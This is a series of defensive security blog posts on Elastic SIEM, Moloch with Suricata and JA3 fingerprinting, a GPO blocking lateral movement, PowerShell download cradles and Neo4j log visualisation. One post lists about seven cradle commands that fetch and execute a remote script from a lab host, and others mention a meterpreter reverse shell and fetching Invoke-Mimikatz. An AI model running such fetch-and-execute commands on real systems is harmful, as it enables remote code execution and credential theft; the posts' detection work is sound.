[![](https://1.bp.blogspot.com/-tA7rcVR2VQ0/XROnHj11YZI/AAAAAAAAH2k/68gU5p13iL0X7Kb3f3ONr5tfPDa3vTqbgCLcBGAs/s1600/timeline2.png)](https://1.bp.blogspot.com/-tA7rcVR2VQ0/XROnHj11YZI/AAAAAAAAH2k/68gU5p13iL0X7Kb3f3ONr5tfPDa3vTqbgCLcBGAs/s1600/timeline2.png)

From here you can pin events, filter further down and view the raw JSON. Let's filter our events down a little further, you can build reasonably complex queries pretty quickly using drag and drop. The GUI here is really intuitive.

[![](https://1.bp.blogspot.com/-KZXXpx3FPAc/XROn477dIyI/AAAAAAAAH2s/A3Zns9INNccZbvW-hPRsAmcPGDxIdIoUgCLcBGAs/s1600/timeline3.png)](https://1.bp.blogspot.com/-KZXXpx3FPAc/XROn477dIyI/AAAAAAAAH2s/A3Zns9INNccZbvW-hPRsAmcPGDxIdIoUgCLcBGAs/s1600/timeline3.png)

Let's go back to our PowerShell example via the timeline, this time I'm putting in the source and destination IP from our previous query into the timeline:

[![](https://1.bp.blogspot.com/-E-Q3k3P2T6k/XROpqCic7zI/AAAAAAAAH24/204dijz7j10uWcj_gLhzF1bXr5WEnRLsgCLcBGAs/s1600/networkconnect.png)](https://1.bp.blogspot.com/-E-Q3k3P2T6k/XROpqCic7zI/AAAAAAAAH24/204dijz7j10uWcj_gLhzF1bXr5WEnRLsgCLcBGAs/s1600/networkconnect.png)

If we look from the bottom up, we can see that a NetworkConnect Sysmon event was detected, followed by some TCP traffic, we can pivot off the destination IP for more info, clicking the IP hyperlink within the timeline brings us to this window:

Here you can tweak the dashboard to show the IP as a source or destination.

[![](https://1.bp.blogspot.com/-iroKGT1Kb7s/XROqZ_SnwrI/AAAAAAAAH3A/OkdY999PDYYJtSPMUkMiamWWfUAEjX5pACLcBGAs/s1600/ip.png)](https://1.bp.blogspot.com/-iroKGT1Kb7s/XROqZ_SnwrI/AAAAAAAAH3A/OkdY999PDYYJtSPMUkMiamWWfUAEjX5pACLcBGAs/s1600/ip.png)

In the above, we can see the destination IP was google.ca so we know that PowerShell connected to Google.ca

Elastic SIEM also supports JA3 hashes, so if we look at an IP that established a TLS connection we see the following:

[![](https://1.bp.blogspot.com/-xlOvR1GYzHw/XROszH2RF9I/AAAAAAAAH3M/pqFQE9DDkekkYOB2Nh7FlHlsJCCSDFSegCLcBGAs/s1600/ja3.png)](https://1.bp.blogspot.com/-xlOvR1GYzHw/XROszH2RF9I/AAAAAAAAH3M/pqFQE9DDkekkYOB2Nh7FlHlsJCCSDFSegCLcBGAs/s1600/ja3.png)

Again we can use the timeline to drag the JA3 element to it, to see what other systems may have established the same TLS handshake:

[![](https://1.bp.blogspot.com/-l8PUX-LnrP4/XROtIg-HqeI/AAAAAAAAH3U/6zJykyCIwvEq2j_vh8JuuvHS4u2LKtKnwCLcBGAs/s1600/ja32.png)](https://1.bp.blogspot.com/-l8PUX-LnrP4/XROtIg-HqeI/AAAAAAAAH3U/6zJykyCIwvEq2j_vh8JuuvHS4u2LKtKnwCLcBGAs/s1600/ja32.png)

Hopefully this post helped demonstrate a really basic set up with the new Elastic SIEM. I'm sure I've hardly scratched the surface for what's possible.


# Moloch + Suricata + JA3

Inspired by the awesome Derbycon [talk](https://www.youtube.com/watch?v=NI0Lmp0K1zc) by [John Althouse](https://twitter.com/4A4133) I wanted to give JA3 a try. After some Googling around the easiest way seemed like installing [Moloch](https://molo.ch/index.html#downloads) which has JA3 support baked in. This post is just a brief overview how to set this up and start exploring JA3 hashes. As a bonus, I also configured Suricata support for Moloch. Combined, I think this is a really good combo for network visibility.

**Install**

In my setup, I used Ubuntu 18.04 as a starting base.

First, grab the Moloch installation package from:

<https://molo.ch/index.html#downloads>

Once you've grabbed the package, follow the instructions here:

<https://raw.githubusercontent.com/aol/moloch/master/release/README.txt>

In my scenario, I installed the Moloch viewer & capture components and Elastic all on the same box, this was all setup via the installation instructions above automatically.

Once the setup is complete, browse to https\://:8005, you should see something that looks like this:

[![](https://2.bp.blogspot.com/-z-guVychL1U/W8zQSYiOmvI/AAAAAAAAHsM/vj7qh6k8PbEUHi0MqNlvfZv36udzgNDogCLcBGAs/s1600/2018-10-21_15-14-54.png)](https://2.bp.blogspot.com/-z-guVychL1U/W8zQSYiOmvI/AAAAAAAAHsM/vj7qh6k8PbEUHi0MqNlvfZv36udzgNDogCLcBGAs/s1600/2018-10-21_15-14-54.png)

**JA3**

Now that you have Moloch installed, let's look at some JA3 hashes, in this example I'm going to be using the *windows/x64/meterpreter/reverse\_https payload*.

In this scenario I have an attacking machine at 192.168.1.116 and a victim Windows 10 machine at 192.168.1.250.

We get the shell,

[![](https://4.bp.blogspot.com/-UBsBhGZj7QE/W8zRJvBsVJI/AAAAAAAAHsU/u9AdjfU_QFoFbLd6OrwlU3CHdhbtv1K9ACLcBGAs/s1600/2018-10-21_15-18-33.png)](https://4.bp.blogspot.com/-UBsBhGZj7QE/W8zRJvBsVJI/AAAAAAAAHsU/u9AdjfU_QFoFbLd6OrwlU3CHdhbtv1K9ACLcBGAs/s1600/2018-10-21_15-18-33.png)

Now let's take a look at this traffic in Moloch (you might have to filter a bit on the port you used for your shell):

[![](https://3.bp.blogspot.com/-zXXvgzBu_UU/W8zSbGuI-CI/AAAAAAAAHsg/XtNmOsLnutwfJibQe-L2FmKhUHVoHnuHgCLcBGAs/s1600/2018-10-21_15-22-56.png)](https://3.bp.blogspot.com/-zXXvgzBu_UU/W8zSbGuI-CI/AAAAAAAAHsg/XtNmOsLnutwfJibQe-L2FmKhUHVoHnuHgCLcBGAs/s1600/2018-10-21_15-22-56.png)

At the very bottom of the above screenshot we can see Moloch computed a JA3 hash for our payload

If we want to see where else this payload was executed on the network, we can click the JA3 hash to initiate a search:

[![](https://4.bp.blogspot.com/-VoD4KrImVAs/W8zS8YbSJFI/AAAAAAAAHso/dV1xIiYwql4IFMMIXGuQ9w28rjXN9jqxACLcBGAs/s1600/2018-10-21_15-26-23.png)](https://4.bp.blogspot.com/-VoD4KrImVAs/W8zS8YbSJFI/AAAAAAAAHso/dV1xIiYwql4IFMMIXGuQ9w28rjXN9jqxACLcBGAs/s1600/2018-10-21_15-26-23.png)

Which would change our query:

[![](https://1.bp.blogspot.com/-KU93hKyJ-yY/W8zXj4ehjqI/AAAAAAAAHtE/krXgNdD-oAgPJKwqsuYdM5gsN_4ZKUQ1ACLcBGAs/s1600/2018-10-21_15-45-48.png)](https://1.bp.blogspot.com/-KU93hKyJ-yY/W8zXj4ehjqI/AAAAAAAAHtE/krXgNdD-oAgPJKwqsuYdM5gsN_4ZKUQ1ACLcBGAs/s1600/2018-10-21_15-45-48.png)

And we found our sneaky attacker executed their payload on more than one system, all via JA3 hash alone.

**Suricata**

To install Suricata on our Ubuntu distro:

```
sudo add\-apt\-repository ppa:oisf/suricata\-stable  
sudo apt\-get update  
sudo apt\-get install suricata
```

(via <https://suricata.readthedocs.io/en/suricata-4.0.5/install.html#install-binary-packages>)

In my case, I had to edit the */etc/suricata/suricata.yaml* file to change the network adapter from eth0 to ens33 and restart the service.

**Suricata + Moloch**

Now that Suricata is installed, you need to change the Moloch configuration to load the Suricata plugin, you also need to point Moloch to your suricata eve.json file.

Find and edit your */data/moloch/etc/config.ini* file, my Suricata *config.ini* section looks like:

[![](https://2.bp.blogspot.com/-33qWvYYL0T8/W8zVFlMQedI/AAAAAAAAHs0/7rRQd7diC5YLFjdgiUWLhYCZqysRJ6PuACLcBGAs/s1600/2018-10-21_15-34-29.png)](https://2.bp.blogspot.com/-33qWvYYL0T8/W8zVFlMQedI/AAAAAAAAHs0/7rRQd7diC5YLFjdgiUWLhYCZqysRJ6PuACLcBGAs/s1600/2018-10-21_15-34-29.png)

When I first fired everything up, Moloch threw an access error. To fix I did:

*chmod 755 /var/log/suricata/eve.josn*

(I could have probably locked this down more - but this was in a lab environment)

Now when you restart your Moloch services, you should be able to see Suricata data in Moloch.

Fire your payload up and look at the traffic again, this time at the SMB not the HTTPS traffic:

[![](https://4.bp.blogspot.com/-i7S8qeCt_G4/W8zWXgqYs4I/AAAAAAAAHs8/PEmhBMRNc9wnQXJ9LwgOv18iUUufJa8QwCLcBGAs/s1600/2018-10-21_15-40-14.png)](https://4.bp.blogspot.com/-i7S8qeCt_G4/W8zWXgqYs4I/AAAAAAAAHs8/PEmhBMRNc9wnQXJ9LwgOv18iUUufJa8QwCLcBGAs/s1600/2018-10-21_15-40-14.png)

We can see Suricata flagged the SMB packets and hit a bunch of PowerShell rules. Neat!

**Notes + Credits**

I'm usually more comfortable with Endpoint rather than Network detections, but I think the Moloch+JA3+Suricata combo is an extremely powerful layer to add to your defenses.

None of this is new info, I just wanted to provide an overview as it took some Googling to put it together, maybe this could save someone a few minutes :)

<https://github.com/synackpse/tls-fingerprinting> by <https://twitter.com/synackpse>

<https://github.com/salesforce/ja3>

<https://github.com/aol/moloch>

<https://github.com/OISF/suricata>

<https://www.youtube.com/watch?v=NI0Lmp0K1zc>

[@ham3r](https://twitter.com/haam3r) for answering a bunch of dumb questions


# Making Lateral Movement Difficult in an Active Directory Environment

**Intro:**

I recently saw this post via Twitter:

<https://blogs.technet.microsoft.com/jepayne/2016/04/04/when-the-manual-is-not-enough-runas-netonly-unexpected-credential-exposure-and-the-need-for-reality-based-holistic-threat-models/>

And one thing that caught my eye was the "Pass the Hash" mitigation screenshot. I saw the GPO settings and understood their functionality but couldn't really piece it's full impact together until I tried it myself. I wanted to do a quick post illustrating a) how easy it is to set the GPO up and b) how large of a security impact it really has.

**The Problem:**

Does this scenario sound familiar to you: all your organizations' endpoints have a local administrative account with the same password? If it does, you're probably not alone as this is fairly typical practice. From an attackers standpoint though, this is a goldmine, as one compromised credential can mean access to many machines. Access to many machines also means that there's a greater chance that the attacker can grab sensitive credentials - Domain Admins etc - from these machines.

Let's illustrate this. I'm an attacker and I gained access to a workstation where the user was a local administrator. I proceed to dump hashes or pull clear text credentials and I'm now trying these credentials in the environment to see what they have access to.

In the below example, I'm using the awesome CrackMapExec to try a local administrative user / password combo that I acquired on my lab machines:

[![](https://1.bp.blogspot.com/-jnKlWMUhwII/Wb7T9nsYlLI/AAAAAAAAHe8/dcc8ynHfReEFbmFkE6YXdys2LCHfp0eQwCLcBGAs/s1600/2017-09-15_9-31-34.png)](https://1.bp.blogspot.com/-jnKlWMUhwII/Wb7T9nsYlLI/AAAAAAAAHe8/dcc8ynHfReEFbmFkE6YXdys2LCHfp0eQwCLcBGAs/s1600/2017-09-15_9-31-34.png)

Awesome, I am now using one set of credentials to access all the machines on the network.

Since this is a local authentication attempt, the SOC will not likely see this unless you are collecting endpoint logs in addition to server and domain controller logs.

How then do we use the GPO above to make things harder for the attacker?

**The GPO:**

The GPO entries are found in Computer Configuration --> Policies --> Windows Settings --> Security Settings --> Local Policies --> User Rights Assignment:

[![](https://2.bp.blogspot.com/-FA7DnpyYfTA/Wb7Ph6ba27I/AAAAAAAAHeY/45UmjFCgM1I62sHk2-fcNaaITqm4erwdACLcBGAs/s1600/2017-09-17_15-39-22.png)](https://2.bp.blogspot.com/-FA7DnpyYfTA/Wb7Ph6ba27I/AAAAAAAAHeY/45UmjFCgM1I62sHk2-fcNaaITqm4erwdACLcBGAs/s1600/2017-09-17_15-39-22.png)

And an export of the GPO so you can see which groups get added to what policies.

[![](https://4.bp.blogspot.com/-eJRjhYDNZ4Y/Wb7QFnDTVQI/AAAAAAAAHeg/mbfyjMgvRwEtqnX8UvHTVI8sPWLG3GpWACLcBGAs/s1600/2017-09-15_11-09-30.png)](https://4.bp.blogspot.com/-eJRjhYDNZ4Y/Wb7QFnDTVQI/AAAAAAAAHeg/mbfyjMgvRwEtqnX8UvHTVI8sPWLG3GpWACLcBGAs/s1600/2017-09-15_11-09-30.png)

Now that we have our GPO set, we apply it the computers we want. In my lab environment there are only two hosts so we put them in an OU and apply the GPO there:

[![](https://2.bp.blogspot.com/-JaK47WyYOvo/Wb7ScxbiRzI/AAAAAAAAHes/IFjxAOAjyCIgJag1PAtmQieQkMSixxUOgCLcBGAs/s1600/2017-09-17_15-51-55.png)](https://2.bp.blogspot.com/-JaK47WyYOvo/Wb7ScxbiRzI/AAAAAAAAHes/IFjxAOAjyCIgJag1PAtmQieQkMSixxUOgCLcBGAs/s1600/2017-09-17_15-51-55.png)

At this point I had a question that you may or may not have. How does the GPO understand the concept of 'Local Account' ?

In other words, if you had two or more local accounts on your endpoints, how does the GPO understand the scope to mean **all** local accounts?

After some digging I found this article which cleared things up for me:

<https://blogs.technet.microsoft.com/secguide/2014/09/02/blocking-remote-use-of-local-accounts/>

After the release of KB 2871997, Microsoft introduced two new SIDs:

S-1-5-113: NT AUTHORITY\Local account

S-1-5-114: NT AUTHORITY\Local account and member of Administrators group

And these are what - for lack of a better term, link - the "local account" in the GPO to "all local accounts".

Although out of scope for this post, KB 2871997 also gives us the ability to disable clear text credential storage. A great post about this can be found here:

<https://p16.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft>

**Lateral Movement Blocked**

Now that we have our GPO in place, let's try to run CrackMapExec again and see what happens:

[![](https://3.bp.blogspot.com/-s85dYOvGxa0/Wb7WZATEaEI/AAAAAAAAHfM/09HSIVWe1is-sIpDC8gJHHOTp9l4qHHsQCLcBGAs/s1600/failedlocal.png)](https://3.bp.blogspot.com/-s85dYOvGxa0/Wb7WZATEaEI/AAAAAAAAHfM/09HSIVWe1is-sIpDC8gJHHOTp9l4qHHsQCLcBGAs/s1600/failedlocal.png)

Pretty sweet. This time we are denied this access.

Recall that we also denied Domain Admins rights to log in locally or via Remote Desktop

[![](https://3.bp.blogspot.com/-gBYjDNps3pc/Wb7W8lzcI4I/AAAAAAAAHfU/dPMqvvxAbXE6hZVqu9heIva1quLo3N5NgCLcBGAs/s1600/faileddomainadmin.png)](https://3.bp.blogspot.com/-gBYjDNps3pc/Wb7W8lzcI4I/AAAAAAAAHfU/dPMqvvxAbXE6hZVqu9heIva1quLo3N5NgCLcBGAs/s1600/faileddomainadmin.png)

So even if the attacker somehow has a domain administrator account, they would not be able to just use it on every system in the network. This also prevents domain administrators from using their credentials on endpoints where there is greater risk of credential theft.

And of course, the same restrictions apply to remote desktop:

[![](https://4.bp.blogspot.com/-Gh56BvtFkhI/Wb7Xj9SidtI/AAAAAAAAHfc/76fg8ZwKb9AiR0wc1rh_SLQLptmxnwx1QCLcBGAs/s1600/rdp.png)](https://4.bp.blogspot.com/-Gh56BvtFkhI/Wb7Xj9SidtI/AAAAAAAAHfc/76fg8ZwKb9AiR0wc1rh_SLQLptmxnwx1QCLcBGAs/s1600/rdp.png)

Pass the Hash techniques are also a no go:

[![](https://4.bp.blogspot.com/-wo9SCebP5zw/Wb7aXgdJF6I/AAAAAAAAHfs/6h9nM5cfkiMJc8M80C8t0KYY0buDt-QSQCLcBGAs/s1600/msfnope.png)](https://4.bp.blogspot.com/-wo9SCebP5zw/Wb7aXgdJF6I/AAAAAAAAHfs/6h9nM5cfkiMJc8M80C8t0KYY0buDt-QSQCLcBGAs/s1600/msfnope.png)

[![](https://2.bp.blogspot.com/-J6t1RAuda_s/Wb7aYqcgMJI/AAAAAAAAHfw/fhwvWnIlG4km66YPsVNQ43Tvyrh_V9u_gCLcBGAs/s1600/pthnope.png)](https://2.bp.blogspot.com/-J6t1RAuda_s/Wb7aYqcgMJI/AAAAAAAAHfw/fhwvWnIlG4km66YPsVNQ43Tvyrh_V9u_gCLcBGAs/s1600/pthnope.png)

**The Bigger Picture**

As I mentioned above, the original Microsoft blog post highlights the GPO that we went over as a "Pass the Hash Mitigation Technique" Indeed it is so, but it also helps mitigate lateral movement via local administrative credentials.

This GPO however fits into a broader context of privileged access management & privileged access workstations. The idea is that domain administrators use segregated privileged access workstations to perform administrative Active Directory tasks with their Domain Administrator accounts. This GPO would prevent a Domain Admin from exposing their credentials on a less trusted workstation. The goal is to make it increasingly difficult for an attacker to get a hold of such sensitive credentials.

With this GPO in place in addition to proper domain admin segregation, an attacker would have a very difficult time to not only move laterally throughout the environment, but to also get a hold of DA credentials.

**Wrap Up**

Nothing in this post is new content, but when I first saw the GPO settings recommended, I didn't really grasp how they are actually implemented and what exact impact they had. If you had the same confusion, I hope that this post clears it up and paves the way for you to put this in place in your organization.

**References**

CrackMapExec --> <https://github.com/byt3bl33d3r/CrackMapExec> // <https://twitter.com/byt3bl33d3r>

The Original blog post I mentioned at the start of the post by Jessica Payne --> <https://twitter.com/jepayneMSFT>

Preventing local accounts from authenticating over the network is mentioned on ADSecurity as well --> <https://adsecurity.org/?p=3299>

Some more information about passing hashes --> <http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/>

General wisdom for AD defense --> <https://twitter.com/PyroTek3>

More information about privileged access workstations --> <https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/privileged-access-workstations>

More ADSecurity wisdom --> <https://adsecurity.org/?p=1684>

I would love to hear from you if anything in this post is incorrect or if you tried this in your environment and had some additional insight. If you have any questions also feel free to get in touch

<https://twitter.com/Antonlovesdnb>


# Taking a Closer Look at PowerShell Download Cradles

**Intro**

There was recently a Twitter [discussion](https://twitter.com/cyb3rops/status/883424924408348672) around PowerShell download cradles and the User Agents they use. I decided to take a look via IDS.

**Methodology**

I grabbed [this](https://gist.github.com/HarmJ0y/bb48307ffa663256e239) list from [@harmj0y's](https://twitter.com/harmj0y) GitHub page and ran them through them all, hosting a benign PowerShell script on a local web server. I then used the awesome [SELKS](https://www.stamus-networks.com/open-source/) IDS distribution to take a look at the User Agents these various methods used.

**Findings**

**Command**

**User-Agent**

IEX (New-Object Net.Webclient).downloadstring("<http://192.168.1.116/hey.ps1>")

No User Agent

IEX (iwr '<http://192.168.1.116/hey.ps1>')

Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.15063.483

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('\[<http://192.168.1.116/hey.ps1');start-sleep](http://192.168.1.116/hey.ps1'%29;start-sleep>) -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

N/A – Couldn’t get this one to work

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','\[<http://192.168.1.116/hey.ps1',$false);$h.send();iex](http://192.168.1.116/hey.ps1',$false%29;$h.send%28%29;iex>) $h.responseText

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','\[<http://192.168.1.116/hey.ps1',$false);$h.send();iex](http://192.168.1.116/hey.ps1',$false%29;$h.send%28%29;iex>) $h.responseText

Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Import-Module bitstransfer;Start-BitsTransfer '<http://192.168.1.116/hey2.ps1>' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

Microsoft BITS/7.8

$a = New-Object System.Xml.XmlDocument

$a.Load("<http://192.168.1.116/hey.txt>")

$a.command.a.execute | iex

No User Agent

[![](https://2.bp.blogspot.com/-GZ9QS2TRY7w/WXk6gB4EewI/AAAAAAAAHdI/myeODt1ukHMzzU64a9DY6jvjbE-paHBGwCLcBGAs/s1600/2017-07-26_20-29-30.png)](https://2.bp.blogspot.com/-GZ9QS2TRY7w/WXk6gB4EewI/AAAAAAAAHdI/myeODt1ukHMzzU64a9DY6jvjbE-paHBGwCLcBGAs/s1600/2017-07-26_20-29-30.png)

**Notes**

* Fairly interesting findings. I'm not sure if this was an exhaustive list of cradles. If anyone has more they'd like tested just message me on twitter [@Antonlovesdnb](https://twitter.com/Antonlovesdnb)
* It looks like from a stealth point of view, at least when looking at User Agents, the first and last methods on the chart seem more stealthy. Although the BITS method is interesting as well, depending on the organizations' traffic profile, BITS might be very common.
* I ran these tests on a Windows 10 host, with the latest updates & PSv5

Major Minor Build Revision

5 1 15063 483

* I was kind of hoping that each method would leave a unique User Agent that I could build some kind of IDS alert around, but this doesn't seem to be the case. Your best bet in identifying malicious activity of this sort is PowerShell logging + Sysmon.

Hope this was helpful.


# Visualize Windows Logs With Neo4j

**Intro**

I spend a lot of my day staring at logs. More specifically, logs found in a SIEM device. Most of the time, these are represented in rows of data, sometimes I get lucky and get to look at charts.

Although a SIEM can ingest a huge amount of data, it kind of sucks at representing this data in a meaningful way.

As soon as I saw the amazing [BloodHound](https://github.com/BloodHoundAD/BloodHound) project, my crappy rows of data and charts seemed old and busted. I really wanted the same kind of visual representation, but for other types of log data.

In this post then, I want to cover how to visualize some Sysmon logs with [Neo4j](https://neo4j.com/).

**Getting Started**

I did some quick Googling and stumbled across [this](http://blog.davidvassallo.me/2014/08/03/getting-started-with-neo4j-and-security-data-analysis/) fantastic post which gave me the foundations I needed to get started.

First step is to grab the free community edition of Neo4j, which can be found [here](https://neo4j.com/download/).

After the install, you should be able to browse to <http://127.0.0.1:7474/browser/> to access the Neo4j DB, the default user/pass is neo4j/neo4j - it should prompt you to change your password on first login.

Second step is to install Sysmon with a configuration file, I covered this [here](https://haveyousecured.blogspot.ca/2016/12/setting-up-sysmon.html).

**Get Your Logs Ready**

Now that you have some juicy log data and Neo4j set up, we need to get the logs into a format that we can import to Neo4j. I used the following short PowerShell script:

*Import-Module C:\Users\Anton\Downloads\Get-WinEventData.ps1*\
*$File = "C:\Users\Anton\Desktop\logs.csv"*\
*Clear-Content "C:\Users\Anton\Desktop\logs.csv"*\
*Add-Content $File -Value Source","Destination","DestinationPort","Application\`n -NoNewline*\
*$EventsID3 = Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=3} | Get-WinEventData | select EventDataSourceIp,EventDataDestinationIp,EventDataDestinationPort,EventDataImage*\
*foreach ($Event3 in $EventsID3)*\
*{*

*$output = Write-Output $Event3.EventDataSourceIp","$Event3.EventDataDestinationIp","$Event3.EventDataDestinationPort","$Event3.EventDataImage\`n*\
*Add-Content $File -Value $output -NoNewline*\
*}*\
This script creates a CSV file that is simple for us to import, it should look something like this:

[![](https://4.bp.blogspot.com/-Se82Nop08UM/WXOTxSOgUBI/AAAAAAAAHbc/QCkixxnSG7A9b60RSJE5GUdwfK6WzvaPQCLcBGAs/s1600/2017-07-22_14-03-57.png)](https://4.bp.blogspot.com/-Se82Nop08UM/WXOTxSOgUBI/AAAAAAAAHbc/QCkixxnSG7A9b60RSJE5GUdwfK6WzvaPQCLcBGAs/s1600/2017-07-22_14-03-57.png)

For simplicity, I put the file into the *C:\Users\Documents\Neo4j\default.graphdb\import* directory. On my installation, I had to create the import directory myself.

**Importing Data and Cypher Query**

Now that have the file in the format we need, open up the Neo4j interface and enter the following commands in the input box:

*load csv with headers from "file:///logs.csv" AS csvLine*\
*CREATE (source:address { address: csvLine.Source })*\
*CREATE (destination:addressd { addressd: csvLine.Destination })*\
*CREATE (DestinationPort:DestPort { destport: csvLine.DestinationPort })*\
*CREATE (application:app { Application: csvLine.Application })*\
*CREATE (source)-\[:ConnectedTo]->(destination)-\[:Using]->(application)-\[:OnPort]->(DestinationPort)*

\*Note: the whole thing needs to be entered as one paragraph, Neo4j wouldn't let me do it line by line.

This is my first time writing Neo4j cypher query, but to break this down a bit:

* The first line loads our CSV,
* The next four CREATE statements make our graph elements for the source address, destination address, destination port and application
* The final CREATE statement builds our relationship. In this case, I want to know what source IP connected to what destination IP and with what application and destination port.

[![](https://3.bp.blogspot.com/-YZzMz8xsp0s/WXOU_uDxI3I/AAAAAAAAHbk/CZu5KeRwPLI-pOgO3N-Ks-BOB1uLCf-qwCLcBGAs/s1600/2017-07-22_14-09-56.png)](https://3.bp.blogspot.com/-YZzMz8xsp0s/WXOU_uDxI3I/AAAAAAAAHbk/CZu5KeRwPLI-pOgO3N-Ks-BOB1uLCf-qwCLcBGAs/s1600/2017-07-22_14-09-56.png)

Hit the play button and you should see something similar to the following:

[![](https://3.bp.blogspot.com/-T8enkAL2i4g/WXOVRtQqbSI/AAAAAAAAHbo/lnPzOx4Q8eAuUsluFBT1oBKYQgK8ptsywCLcBGAs/s1600/2017-07-22_14-11-06.png)](https://3.bp.blogspot.com/-T8enkAL2i4g/WXOVRtQqbSI/AAAAAAAAHbo/lnPzOx4Q8eAuUsluFBT1oBKYQgK8ptsywCLcBGAs/s1600/2017-07-22_14-11-06.png)

Now we can get to the fun stuff, click the Database icon on the left hand side followed by the \* icon under 'Relationship Types':

[![](https://4.bp.blogspot.com/-naeUb2_6Z3s/WXOXE2ywqeI/AAAAAAAAHb4/E8-6jJ6kSkkJmN5nEy8Mwvbc65wiY8y9gCLcBGAs/s1600/2017-07-22_14-17-47.png)](https://4.bp.blogspot.com/-naeUb2_6Z3s/WXOXE2ywqeI/AAAAAAAAHb4/E8-6jJ6kSkkJmN5nEy8Mwvbc65wiY8y9gCLcBGAs/s1600/2017-07-22_14-17-47.png)

You should now see your relationship graph. Lets take a closer look:

[![](https://4.bp.blogspot.com/-iMg6rYgBx_k/WXOXwzmzKpI/AAAAAAAAHcA/_JDusezfsM0pCBg1NnUFVsR_VwHLca5SACLcBGAs/s1600/2017-07-22_14-21-41.png)](https://4.bp.blogspot.com/-iMg6rYgBx_k/WXOXwzmzKpI/AAAAAAAAHcA/_JDusezfsM0pCBg1NnUFVsR_VwHLca5SACLcBGAs/s1600/2017-07-22_14-21-41.png)

We get a really clear visual representation of what connected to what on our system. In this case we can see 192.168.1.123 connected to 204.79.197.200 using IE on port 443

**Practical Example**

Let's take this a step further and examine how this can be use to elucidate some malicious activity.

I'm going to use PowerShell to grab Invoke-Mimikatz using a handy list of PowerShell [download cradles](https://gist.github.com/HarmJ0y/bb48307ffa663256e239) provided by [harmj0y](https://blog.harmj0y.net/).

[![](https://3.bp.blogspot.com/-5zOFH7N4Cf4/WXOY-8lIjnI/AAAAAAAAHcI/lVwwtJSJG2QcddCvkkByiPh1kWCF1mhjQCLcBGAs/s1600/2017-07-22_14-26-51.png)](https://3.bp.blogspot.com/-5zOFH7N4Cf4/WXOY-8lIjnI/AAAAAAAAHcI/lVwwtJSJG2QcddCvkkByiPh1kWCF1mhjQCLcBGAs/s1600/2017-07-22_14-26-51.png)

Of course Neo4j and this kind of setup won't alert you to any malicious activity, but pretend that the above command triggered some kind of alert that you want to investigate further.

We can write a simple query to see all PowerShell network connections:

[![](https://3.bp.blogspot.com/-etPGxM7Lo50/WXOZ5KMdCzI/AAAAAAAAHcM/V0OQcJ4KjlsPK1m322FvEtKjd3TBixCvgCLcBGAs/s1600/2017-07-22_14-30-49.png)](https://3.bp.blogspot.com/-etPGxM7Lo50/WXOZ5KMdCzI/AAAAAAAAHcM/V0OQcJ4KjlsPK1m322FvEtKjd3TBixCvgCLcBGAs/s1600/2017-07-22_14-30-49.png)

Which should give you a list of results, 1 in my case:

[![](https://4.bp.blogspot.com/-7VNmXqqwuNk/WXOaHFn9UEI/AAAAAAAAHcQ/sqk1eINFCl4LZEXT9wictm6Qd45a21tPACLcBGAs/s1600/2017-07-22_14-31-32.png)](https://4.bp.blogspot.com/-7VNmXqqwuNk/WXOaHFn9UEI/AAAAAAAAHcQ/sqk1eINFCl4LZEXT9wictm6Qd45a21tPACLcBGAs/s1600/2017-07-22_14-31-32.png)

We can double click the bubble to expand it (in my case I had to double click the destination IP bubble as well). We should now see our visual representation of PowerShell network activity:

[![](https://1.bp.blogspot.com/-tIF4gmAzhZg/WXOao7pWW_I/AAAAAAAAHcU/yUlg21PDX_gDYEgNI-EIlr76CzxXxGqkgCLcBGAs/s1600/2017-07-22_14-33-52.png)](https://1.bp.blogspot.com/-tIF4gmAzhZg/WXOao7pWW_I/AAAAAAAAHcU/yUlg21PDX_gDYEgNI-EIlr76CzxXxGqkgCLcBGAs/s1600/2017-07-22_14-33-52.png)

Again, we can clearly see that 192.168.1.123 connected to 151.101.124.133 (Github) using PowerShell over port 443.

This is obviously a simplified example but I think that this would be a super handy tool to have in order to gain some extra insights from your logs. I used Sysmon here because it provides really rich data. Instead of IP I could have included hostname for extra clarity, or you could include both and change the query to suite your needs. In either case, I find this visual format much easier to digest than the standard table.

This kind of visual representation could also be used to profile high-value accounts. For example, which hosts does connect to on a daily basis? Neo4j and authentication logs could be used to build up a "known good" baseline fairly easily.

**Closing Notes**

* You can feed a Neo4j database via it's API with JSON much like BloodHound does. I don't have the programming knowledge for that however.
* Linked to the point above, my data set was tiny and I have no idea how this performs at scale, If you have tons of logs you are probably better off using the API. Another option would be to further filter down the logs you select for importing.
* Credit to this post: [http://blog.davidvassallo.me/2014/08/03/getting-started-with-neo4j-and-security-data-analysis/ ](http://blog.davidvassallo.me/2014/08/03/getting-started-with-neo4j-and-security-data-analysis/) the cypher query I used above is basically a modified version of the one found there
* If any SIEM vendors happen to be reading this (ya right). It would be a huge value-add if this kind of capability could be baked into a SIEM device. Some kind of "Export to Neo4j" feature coupled with a cypher query builder.... shut up and take my money.

Any questions or comments, feel free to connect with me via twitter [@Antonlovesdnb](https://twitter.com/Antonlovesdnb).


# Device Guard - Fixing VMWare Tools

I've been really keen to try Device Guard out lately and I finally rolled up my sleeves and used Matt Graeber's excellent guide found at:

<http://www.exploit-monday.com/2016/09/introduction-to-windows-device-guard.html>

<http://www.exploit-monday.com/2016/12/updating-device-guard-code-integrity.html>

All this work is based on his work and full credit goes to him. I wanted to write this post in case someone finds themselves in the same situation I was in; simply wanting to get familiarized with Device Guard using their own mini home lab. Using VMWare Workstation with Device Guard won't enable every feature available in Device Guard, but it's a good starting point to get familiar with deploying policies and just getting a general feel for the technology.

After following Matt's guide - VMWare tools refused to function and I want to outline how I got them working again using his posts and some Microsoft documentation.

